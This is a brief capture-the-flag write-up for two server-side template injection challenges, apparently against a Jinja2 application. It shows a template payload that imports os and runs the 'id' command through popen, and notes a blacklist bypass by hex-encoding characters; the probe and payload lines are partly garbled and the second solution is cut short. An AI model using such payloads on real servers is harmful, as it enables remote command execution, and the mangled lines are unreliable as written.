Post

SSTI1 and 2

SSTI1 and 2

CHALLENGE DESCRIPTION

SOLUTION

SSTI1

As we know it has SSTI vulnerability, we can try this $ and we get the respond $7777777.

Now input our payload:

1
{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

SSTI2

Resource: Jinja2 Cause of blacked list character, we need to change some special characters to hex

1